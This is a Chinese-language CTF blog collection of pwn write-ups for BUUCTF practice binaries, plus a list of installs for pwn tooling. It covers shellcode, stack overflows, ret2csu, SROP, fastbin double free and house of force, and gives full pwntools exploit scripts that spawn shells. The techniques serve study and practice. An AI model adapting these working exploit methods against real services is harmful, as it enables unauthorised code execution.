0%

starctf_2019_babyshell

tql,shellcode的题新花样

程序流程

mmap开辟空间,输入shellcode,然后绕过检查即可执行shellcode

image-20210506205132913

要绕过检查,令第一个字符为空即可。

image-20210506205233682

漏洞利用

为了让shellcode正常执行,需要构造一条合法以\x00开头的语句。

\x00b\x00\x00b\x22都是合法语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#\x00b\x00
pwndbg> x/30gx 0x7f77a00c1000
0x7f77a00c1000: 0x2fb848686a006200<= 0x50732f2f2f6e6962

pwndbg> x/30i 0x7f77a00c1000
0x7f77a00c1000: add BYTE PTR [rdx+0x0],ah
0x7f77a00c1003: push 0x68
#三个字节组成一个语句

#同理
pwndbg> x/30gx 0x7fb05ae4b000
0x7fb05ae4b000: 0x2fb848686a226200 0x50732f2f2f6e6962

pwndbg> x/30i 0x7fb05ae4b000
0x7fb05ae4b000: add BYTE PTR [rdx+0x22],ah
0x7fb05ae4b003: push 0x68

所以,只要在shellcode之前加入’\x00b\x00’即可绕过检查,并正常执行shellcode

完整exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process("./starctf_2019_babyshell")
# p=remote("node3.buuoj.cn",27975)
context.log_level ='debug'
context.arch='amd64'

payload = '\x00b\x22'+asm(shellcraft.sh())
gdb.attach(p)
p.sendline(payload)
p.interactive()

wustctf2020_name_your_cat

简单的栈题,覆盖返回地址为后门函数即可。

但是不知道为什么,,发送数据为一个地址的话,会导致程序崩溃(无法正常进行下一次的循环),所以要把发送后门地址放在最后一个。

程序流程:

  1. for循环五次
  2. 输入一个数字
  3. 往8*v+base的地方发送7个字符的数据

但是程序没有检查输入的数字大小,而base位于[ebp-34h]的地址,所以在0x34+4的位置存储的就是返回地址,也就是数字7(0x38/8=7),发送后门函数的地址即可。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p = process("./wustctf2020_name_your_cat")
# p = remote("node3.buuoj.cn",26079)
elf = ELF("./wustctf2020_name_your_cat")
context.log_level = 'debug'
shell = 0x080485CB

def add(num,payload):
p.recvuntil("which")
p.sendline(str(num))
p.recvuntil("Give your name plz: ")
p.sendline(payload)
gdb.attach(p)
for i in range(4):
add(1,p64(shell))
add(7,p64(shell))
p.interactive()

gyctf_2020_some_thing_interesting

printf+uaf

一开始没看到格式化字符串,,,TAT

emm,格式化字符串,泄露%3$p的位置,,,和远程貌似有点不对。。。。知道泄露栈上数据,但是太前面了,gdb都没找到,可以尽量在10附近左右看看

程序流程

  1. 格式化字符串部分

    可以输入19个字节,只需要前14个字节可以匹配成功即可。

image-20210507220553456

前面输入的字符串,存在格式化字符串,有5个字节可以利用,可以用来泄露libc地址

image-20210507220712091

  1. 正常堆体
    1. add功能:创建0~0x70大小的块
    2. 修改:没有溢出
    3. 释放:uaf,其实可以直接修改uaf,不用double free
    4. 打印

漏洞利用

  1. 根据格式化字符串,泄露libc地址
  2. 根据uaf,申请块到mallochook
  3. 覆盖malloc_hook为gadget即可

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
# p = process("./gyctf_2020_some_thing_interesting")
# p = remote("node3.buuoj.cn",27779)
# p = process(["./gyctf_2020_some_thing_interesting"],
# env={"LD_PRELOAD":"./libc-2.23.so"})
p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./gyctf_2020_some_thing_interesting"],
env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
elf = ELF("./gyctf_2020_some_thing_interesting")
# libc = ELF("./libc-2.23.so")
libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")
context.log_level = 'debug'
def init():
p.recvuntil("> Input your code please:")
# p.sendline("OreOOrereOOreO%3$p")
gdb.attach(p)
p.sendline("OreOOrereOOreO%13$p")
init()
def cmd(choice):
p.recvuntil("want to do :")
p.sendline(str(choice))
def check():
cmd(0)
p.recvuntil("OreOOrereOOreO0x")
def add(o_size,o_content,re_size,re_content):
cmd(1)
p.recvuntil("> O's length : ")
p.sendline(str(o_size))
p.recvuntil("> O : ")
p.sendline(o_content)
p.recvuntil("> RE's length : ")
p.sendline(str(re_size))
p.recvuntil("> RE : ")
p.sendline(re_content)

def edit(oid,o_content,re_content):
cmd(2)
p.recvuntil("> Oreo ID : ")
p.sendline(str(oid))
p.recvuntil("> O : ")
p.sendline(o_content)
p.recvuntil("> RE : ")
p.sendline(re_content)

def delete(oid):
cmd(3)
p.recvuntil("> Oreo ID : ")
p.sendline(str(oid))

def view(oid):
cmd(4)
p.recvuntil("> Oreo ID : ")
p.sendline(str(oid))

check()
xie = int(p.recv(12).strip(),16)- 0xf0
libc_base = xie -libc.sym['__libc_start_main']
log.success(hex(xie))
log.success(hex(libc_base))
gdb.attach(p)
# pause()
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__libc_realloc']

fake_chunk = malloc_hook - 0x23

add(0x68,"aaaa",0x20,'bbbb')
add(0x68,"aaaa",0x20,'bbbb')

delete(1)
delete(2)
delete(1)

# edit(1,'a',p64(fake_chunk))
add(0x68,p64(fake_chunk),0x68,p64(fake_chunk))

# onegadget = [0x3f3f6,0x3f44a,0xd5c17]
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x68,"a",0x68,'b'*0x13+p64(onegadget[3]+libc_base))
# log.success(hex(onegadget[0]+libc_base))
# p.recvuntil("#######################\n")
p.sendline("1")
p.recvuntil("> O's length : ")
p.sendline(str(0x20))
# gdb.attach(p)
# pause()
p.interactive()

本题首先需要细心,能发现格式化字符串,其次,格式化的话,需要找到栈上,在比较后面,stack 30第一个也是%12$p

bjdctf_2020_babystack2

简单的,首先通过整数溢出绕过检查,然后栈溢出,存在后门函数,直接执行即可

image-20210506201527291

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p=process("./bjdctf_2020_babystack2")
p=remote("node3.buuoj.cn",28526)

context.log_level = 'debug'
context.arch = 'amd64'

backdoor = 0x000400726

p.recvuntil("name:")
p.sendline(str(-1))
p.recvuntil("name?")
payload = 'a'*(0x10+0x8)+p64(backdoor)
p.sendline(payload)
p.interactive()

其实做过一次第一次wp,,,但是再做还是不太可,重新写一篇【两篇侧重点不一样】

题目流程

两个函数,read和write

image-20210506185234819

输入和打印的是同一个地址,rsp+buf,buf的长度为0x10。

所以栈溢出的偏移为0x10,再下一个地址是rsp,ret的时候,pop eip会取过来。

image-20210506185325681

程序给了两个后门函数

第一个是rax,设置0xf,可以进行srop

第二个设置为execve的调用号,设置参数为“/bin/sh”、0、0(必须设置,因为vuln函数中rdi,rsi和rdx都有值)即可get shell

image-20210506185517298

漏洞利用

综上,有两种方法可以进行漏洞利用

  1. 利用gadget2,需要设置三个寄存器参数,可以通过ret2csu来设置
  2. 利用gadget1,srop来get shell

其次,程序还可以泄漏信息,在输入0x10处和0x20处都存在栈上的地址,布置“/bin/sh”在上面,泄漏栈地址,即计算得到binsh的地址。

为了程序正常返回继续利用,故泄漏0x20的地址。

1
2
3
4
5
6
pwndbg> x/30gx 0x7fffffffdee0
0x7fffffffdee0: 0x6161616161616161 0x0000000000000a61#[rsp+buf]
0x7fffffffdef0: 0x00007fffffffdf10 0x0000000000400536
0x7fffffffdf00: 0x00007fffffffdff8 0x0000000100000000
0x7fffffffdf10: 0x0000000000400540 0x00007ffff7a03bf7
0x7fffffffdf20: 0x0000000000000001 0x00007fffffffdff8
1
2
3
4
5
payload = 'a' * 0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
1
2
3
4
5
6
[DEBUG] Received 0x30 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 ed 04 40 00 00 00 00 00 0a 05 40 00 00 00 00 00 │··@·│····│··@·│····│
00000020 a8 43 ed d1 fe 7f 00 00 00 00 00 00 01 00 00 00 │·C··│····│····│····│
00000030
[+] 0x7ffed1ed4290
1
2
3
4
pwndbg> x/30gx 0x7ffed1ed4290
0x7ffed1ed4290: 0x6161616161616161 0x6161616161616161
0x7ffed1ed42a0: 0x00007ffed1ed42a0 0x000000000040050a
0x7ffed1ed42b0: 0x00007ffed1ed43a8 0x0000000100000000

ret2csu

因为需要设置3个参数,需要利用万能gadget,但是注意一点是,第一个参数只能设置低8位,但是binsh的地址有12位,所以第一个参数还需要通过pop rdi,单独设置。

  1. 布置“/bin/sh” => 地址通过上面已经泄漏

  2. 设置rax = 59

  3. 开始ret2cus

    part1

    ​ rbx = 0,rbp = 1,跳出循环

    ​ call [],选择binsh+0x10的地址,也就是设置rax=59

    ​ 设置3个参数,都为0即可

    part2

    ​ ‘a’×0x56=> 到达ret

    ​ 设置第一个参数

    syscall即可

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = '/bin/sh\x00' * 2 
payload += p64(mov_rax_59)
payload += p64(part1)
payload += p64(0) + p64(1)
payload += p64(binsh+0x10)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(part2)
payload += 'a'*56
payload += p64(pop_rdi) + p64(binsh)
payload += p64(syscall)
p.sendline(payload)
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
p = process("./ciscn_2019_es_7")
# p=remote("node3.buuoj.cn",26076)
context.log_level = 'debug'

mov_rax_59 = 0x00004004E2
part1 = 0x0040059A
part2 = 0x000400580
back = 0x04004ED
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = 'a' * 0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
# gdb.attach(p)
# pause()
payload = '/bin/sh\x00' * 2
payload += p64(mov_rax_59)
payload += p64(part1)
payload += p64(0) + p64(1)
payload += p64(binsh+0x10)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(part2)
payload += 'a'*56
payload += p64(pop_rdi) + p64(binsh)
payload += p64(syscall)
p.sendline(payload)
p.interactive()

srop

创建
1
sigFrame = SigreturnFrame()
设置寄存器
  1. rax = execve调用号
  2. rdi = binsh地址
  3. rsi = 0
  4. rdx = 0
  5. rip = syscall
1
2
3
4
5
sigFrame.rax = constants.SYS_execve
sigFrame.rdi = binsh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall
发送
  1. 发送“/bin/sh\x00”两个
  2. gadget,这里会retn一下,让rsp下移
  3. 放上syscall,接着就放上str(sigFrame)【在rsp的下一个位置】
1
2
payload = '/bin/sh\x00' * 2
payload += p64(pop_rax_15)+p64(syscall)+str(sigFrame)
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process("./ciscn_2019_es_7")
# p=remote("node3.buuoj.cn",26076)
context.log_level = 'debug'
context.arch = 'amd64'
mov_rax_59 = 0x00004004E2
part1 = 0x0040059A
part2 = 0x000400580
back = 0x04004ED
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = 'a'*0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
# gdb.attach(p)
# pause()
pop_rax_15 = 0x004004DA

sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve
sigFrame.rdi = binsh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall
payload = '/bin/sh\x00' * 2
payload += p64(pop_rax_15)+p64(syscall)+str(sigFrame)
p.sendline(payload)
p.interactive()

总结

本篇主要讲了些做题的点,思路更清晰了,,,,

  1. ret2csu比较好用了,这里特别注意execve使用的参数设置
  2. srop主要发送str(sigFrame)在rsp下面一个,题目read和write都是[rsp+buf]为srop提供了便利

下载

附件

虽然很简单,但好像第一次碰见这样的题,所以记录下。

反汇编问题

问题:main函数f5的时候报如下错误

image-20210501234336628

解决:

  1. 找到报错的地址:0x8048705【按g输入地址即可】

    image-20210501234523311

  2. 双击函数,然后f5

    image-20210501234614572

  3. 然后就可以正常了

程序流程

  1. 输入name
  2. 打印name
  3. 输入password
  4. 比较输入password和password
  5. 相同打印flag

image-20210501234815805

漏洞利用

由于name和password是紧挨着的,而且差距0x100。

如果name的长度为0x100,那么puts输出name的时候,就会把password一起带出来了。

而且name的最大长度可以达到0x100,故首先令name=0x100,即可泄露password,接着就可以得到flag了。

image-20210501234915134

获得password

1
2
3
4
5
6
7
8
from pwn import *
p = remote("node3.buuoj.cn",26105)
p.recvuntil("name?")
p.sendline("a"*0x100)
# password = "a_reAllY_s3cuRe_p4s$word_f85406"
# p.sendline(password)
p.recv()
p.interactive()
1
2
3
4
[*] Switching to interactive mode
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_f85406

Incorrect Password!

完整exp

1
2
3
4
5
6
7
8
from pwn import *
p = remote("node3.buuoj.cn",26105)
p.recvuntil("name?")
p.sendline("a"*0x100)
# password = "a_reAllY_s3cuRe_p4s$word_f85406"
# p.sendline(password)
p.recv()
p.interactive()

下载

附件

还是高校战役的题,并且以前做过,,,,但当时tcl,复现也不会,虽然现在也很菜

这里再重新写篇文章,记录下。

程序流程

image-20210501212850010

init

程序最开始进入了init函数

init函数首先将flag读入了内存。

接着又将内存flag的数据读入了s,在0x6020a8中。

由于0x6020a0处设置了0x60,可以将fake chunk申请到这里,再读取块数据,即可得到flag

image-20210501213125204

功能

  1. create:创建一个指针chunk,里面存放了ba和na两个块的地址;创建ba和na,大小为0~0x70,fastbin大小内。
  2. delete:free块,但是没有清零,可以double free,获得一定的地址读写能力
  3. view:根据idx打印内容。

漏洞利用

  1. 两次create
  2. free(0) -> free(1) -> free(0)
  3. 重新申请create2,此时修改2的内容,由于0和2是同一个地址,修改2,修改了0的内容,重新申请4的时候,就可以申请到想要的地址
  4. 修改2的内容为0x6020a0-0x8
  5. create3,create4
  6. 4即申请到了0x6020a0的位置,打印其内容即为flag

详细过程

0.保护

没开pie

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec gyctf_2020_some_thing_exceting 
[*] '/home/winter/buu/gyctf_2020_some_thing_exceting'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

1.两次创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xf74000
Size: 0x231

Allocated chunk | PREV_INUSE
Addr: 0xf74230
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0xf75240
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xf75260
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0xf752c0
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0xf75320
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xf75340
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0xf753a0
Size: 0x61

Top chunk | PREV_INUSE
Addr: 0xf75400
Size: 0x1fc01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
1
2
create(0x50,'aaaa',0x50,'bbbb')
create(0x50,'aaaa',0x50,'bbbb')

2.double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x10ac000
Size: 0x231

Allocated chunk | PREV_INUSE
Addr: 0x10ac230
Size: 0x1011

Free chunk (fastbins) | PREV_INUSE
Addr: 0x10ad240
Size: 0x21
fd: 0x10ad320

Allocated chunk | PREV_INUSE
Addr: 0x10ad260
Size: 0x61

Free chunk (fastbins) | PREV_INUSE
Addr: 0x10ad2c0
Size: 0x61
fd: 0x10ad3a0

Free chunk (fastbins) | PREV_INUSE
Addr: 0x10ad320
Size: 0x21
fd: 0x10ad240

Free chunk (fastbins) | PREV_INUSE
Addr: 0x10ad340
Size: 0x61
fd: 0x10ad2c0

Free chunk (fastbins) | PREV_INUSE
Addr: 0x10ad3a0
Size: 0x61
fd: 0x10ad340

Top chunk | PREV_INUSE
Addr: 0x10ad400
Size: 0x1fc01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x10ad240 —▸ 0x10ad320 ◂— 0x10ad240
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x10ad2c0 —▸ 0x10ad3a0 —▸ 0x10ad340 ◂— 0x10ad2c0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
1
2
3
delete(0)
delete(1)
delete(0)

3.create 3,并修改fd为fake chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xce5000
Size: 0x231

Allocated chunk | PREV_INUSE
Addr: 0xce5230
Size: 0x1011

Free chunk (fastbins) | PREV_INUSE
Addr: 0xce6240
Size: 0x21
fd: 0xce62d0

Allocated chunk | PREV_INUSE
Addr: 0xce6260
Size: 0x61

Free chunk (fastbins) | PREV_INUSE
Addr: 0xce62c0
Size: 0x61
fd: 0x602098

Free chunk (fastbins) | PREV_INUSE
Addr: 0xce6320
Size: 0x21
fd: 0xce6240

Free chunk (fastbins) | PREV_INUSE
Addr: 0xce6340
Size: 0x61
fd: 0xce62c0

Allocated chunk | PREV_INUSE
Addr: 0xce63a0
Size: 0x61

Top chunk | PREV_INUSE
Addr: 0xce6400
Size: 0x1fc01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0xce6320 —▸ 0xce6240 —▸ 0xce62d0 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0xce6340 —▸ 0xce62c0 —▸ 0x602098 ◂— 'flag{winter_excited}'
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
1
2
fake_chunk = 0x6020a0 - 0x8
create(0x50,p64(fake_chunk),0x50,p64(fake_chunk))#2

4.create4,create5(申请到fake地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x652000
Size: 0x231

Allocated chunk | PREV_INUSE
Addr: 0x652230
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x653240
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x653260
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0x6532c0
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0x653320
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x653340
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0x6533a0
Size: 0x61

Allocated chunk | PREV_INUSE
Addr: 0x653400
Size: 0x81

Top chunk | PREV_INUSE
Addr: 0x653480
Size: 0x1fb81
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x6532d0 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x6e69777b67616c66 ('flag{win')
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
1
2
3
4
pwndbg> x/30gx 0x6020a0-8
0x602098: 0x0000000000000000 0x0000000000000060
0x6020a8: 0x6e69777b67610a61 0x696378655f726574
0x6020b8: 0x000000007d646574 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/30s 0x6020a0-8
0x602098: ""
0x602099: ""
0x60209a: ""
0x60209b: ""
0x60209c: ""
0x60209d: ""
0x60209e: ""
0x60209f: ""
0x6020a0: "`"
0x6020a2: ""
0x6020a3: ""
0x6020a4: ""
0x6020a5: ""
0x6020a6: ""
0x6020a7: ""
0x6020a8: "a\nag{winter_excited}"
1
2
create(0x50,p64(fake_chunk),0x50,p64(fake_chunk))#2
create(0x50,'a',0x70,'a')#2

5.打印4

1
2
3
4
[DEBUG] Received 0xac bytes:
"# Banana's ba is a\n"
'ag{winter_excited}\n'
"# Banana's na is a\n"
1
2
view(4)
p.recv()

以前写的:i春秋新春战役PWN之Some_thing_exceting

下载

文件

1.sublime

ubuntu下比较好用的编辑器

官网

使用的系统:ubuntu 16.04

1
2
3
4
5
$ wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -
$ sudo apt-get install apt-transport-https
$ echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list
$ sudo apt-get update
$ sudo apt-get install sublime-text

2.pwn_debug

用来解决libc版本加载问题,,,

官网

安装

1
2
3
git clone https://github.com/ray-cp/pwn_debug.git
cd pwn_debug
sudo python setup.py install

安装使用的libc

指定版本

1
2
# ./build.sh $(version)
./build.sh 2.23

3.gef

1
2
wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit
1
source /home/winter/.gdbinit-gef.py

使用

  1. dereference
  2. fmtarg

4.Pwngdb

为了fmtarg

官网

安装

1
2
3
cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git
cp ~/Pwngdb/.gdbinit ~/

使用

1
2
gdb-peda$ fmtarg 0x7fffffffde50
The index of format argument : 8 ("\%7$p") #看括号里面的

5.one_gadget

安装

1
2
1.安装rupy,具体见下面的注意
sudo gem install one_gadget

注意

one_gadget要求较高得ruby版本,直接使用源里的太旧

解决方法:卸载掉本地的ruby、去官网添加最新版源

6.ruby

1
2
3
4
5
6
7
8
9
#卸载ruby
$ sudo apt-get remove ruby
#https://www.ruby-lang.org/en/downloads/ 下载安装包
#解压,安装
$ $ ./configure
$ make
$ sudo make install
#安装one_gadget
$ sudo gem install one_gadget

7.pwntools

ubuntu20.04:https://blog.csdn.net/Evaristexu/article/details/108025981

其他ubuntu版本:https://www.cnblogs.com/pcat/p/5451780.html

1
pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/

8.xfce4

功能

修改teminal背景

安装

1
2
3
sudo apt-get update
sudo apt-get install xfce4-terminal
xfce4终端

9.seccomp-tools

官网

1
2
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools

10.LibcSearcher

github:https://github.com/lieanu/LibcSearcher

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
(sudo) python setup.py develop

11.pwn环境可视化

  1. https://bbs.pediy.com/thread-257344.htm
  2. https://github.com/bet4it/build-an-efficient-pwn-environment

12.pip

1
sudo apt install python-pip

13.pwndbg

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

前言

搞得我想吐,,,总是出现奇奇怪怪的问题,sendline和send为什么返回的地址不一样,,,

没想到居然是去年高校战役的题,好吧,当时还做了下这个比赛,不过没弄这道题,发现还是一个比较常规的题,house of force

程序流程

堆体,,,只有一个功能(puts函数没有用)

image-20210427211531288

对于add

分配任意大小的chunk,但是固定读入数据0x50大小,所以如果申请的大小小于0x50,就存在堆溢出

image-20210427211635840

漏洞利用

由于题目是保护全开,所以不能覆盖got表

方法:

  1. 分配超过mmap阈值的堆块 => 经过mmap分配的地址,与libc有固定偏移 => 泄露libc地址
  2. 正常分配堆块 => 泄露堆地址
  3. 覆写top chunk‘size为0xffffffffffffffff,就可以将top chunk指针抬高
  4. 使top chunk落在__malloc_hook附近,修改__malloc_hook__realloc_hook
    • __malloc_hook => __realloc_hook + 0x10(为了满足one_gadget的限制)
    • __realloc_hook => one_gadget
  5. malloc一下 => getshell

详细过程

0.基本信息

保护全开,故考虑覆盖__malloc_hook

1
2
winter@ubuntu:~/buu$ file gyctf_2020_force 
gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped
1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec gyctf_2020_force 
[*] '/home/winter/buu/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

1.分配大块

分配一个0x200000的超大块,启用mmap分配,与libc的偏移固定,并计算得到libc_base

1
2
3
[DEBUG] Received 0x20 bytes:
'bin addr 0x7ff0e84e4010\n'
'content\n'
1
2
3
4
5
6
7
pwndbg> x/30gx 0x7ff0e84e4000
0x7ff0e84e4000: 0x0000000000000000 0x0000000000201002
0x7ff0e84e4010: 0x000a7265746e6977 0x0000000000000000
0x7ff0e84e4020: 0x0000000000000000 0x0000000000000000

pwndbg> x/5s 0x7ff0e84e4010
0x7ff0e84e4010: "winter\n"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x559a9f799000 0x559a9f79a000 r-xp 1000 0 /home/winter/buu/gyctf_2020_force
0x559a9f99a000 0x559a9f99b000 r--p 1000 1000 /home/winter/buu/gyctf_2020_force
0x559a9f99b000 0x559a9f99c000 rw-p 1000 2000 /home/winter/buu/gyctf_2020_force
0x7ff0e84e4000 0x7ff0e86e5000 rw-p 201000 0
0x7ff0e86e5000 0x7ff0e88a5000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e88a5000 0x7ff0e8aa5000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e8aa5000 0x7ff0e8aa9000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e8aa9000 0x7ff0e8aab000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e8aab000 0x7ff0e8aaf000 rw-p 4000 0
0x7ff0e8aaf000 0x7ff0e8ad5000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff0e8cb8000 0x7ff0e8cbb000 rw-p 3000 0
0x7ff0e8cd4000 0x7ff0e8cd5000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff0e8cd5000 0x7ff0e8cd6000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff0e8cd6000 0x7ff0e8cd7000 rw-p 1000 0
0x7fffae287000 0x7fffae2a8000 rw-p 21000 0 [stack]
0x7fffae2c0000 0x7fffae2c3000 r--p 3000 0 [vvar]
0x7fffae2c3000 0x7fffae2c5000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
1
[+] libc_base:0x7ff0e86e5000
1
2
3
4
bin_addr  = add(0x200000,'winter')
#0x7f52f5a7d000 - 0x7f52f587c010 = 0x200FF0
libc_base = 0x200FF0 + bin_addr
log.success("libc_base:"+hex(libc_base))

2.正常分配

正常分配,得到的地址,是heap的基地址,因为申请0x18的大小,故top chunk就在heap_base+0x10

1
2
3
[DEBUG] Received 0x20 bytes:
'bin addr 0x559aa0cf3010\n'
'content\n'
1
2
3
4
5
pwndbg> x/30gx 0x559aa0cf3000
0x559aa0cf3000: 0x0000000000000000 0x0000000000000021
0x559aa0cf3010: 0x6161616161616161 0x6161616161616161
0x559aa0cf3020: 0x0000000000000000 0xffffffffffffffff
0x559aa0cf3030: 0x000000000000000a 0x0000000000000000
1
2
[+] heap_base:0x559aa0cf3010
[+] top_chunk:0x559aa0cf3020
1
2
3
4
5
6
payload = 'a' * 0x10
payload += p64(0) + p64(0xffffffffffffffff)
heap_base = add(0x18,payload)
log.success("heap_base:"+hex(heap_base))
top_chunk = heap_base + 0x10
log.success("top_chunk:"+hex(top_chunk))

3.分配到malloc附近

__malloc_hook-0x33附近有\x7f,故分配到这里

1
2
3
4
5
6
pwndbg> x/30gx 0x559aa0cf3000
0x559aa0cf3000: 0x0000000000000000 0x0000000000000021
0x559aa0cf3010: 0x6161616161616161 0x6161616161616161
0x559aa0cf3020: 0x0000000000000000 0x00002a5647db6ad1
0x559aa0cf3030: 0x0000000a61616161 0x0000000000000000
0x559aa0cf3040: 0x0000000000000000 0x0000000000000000
1
2
3
target = malloc_hook - top_chunk - 0x33

add(target,'aaaa')
1
2
3
4
5
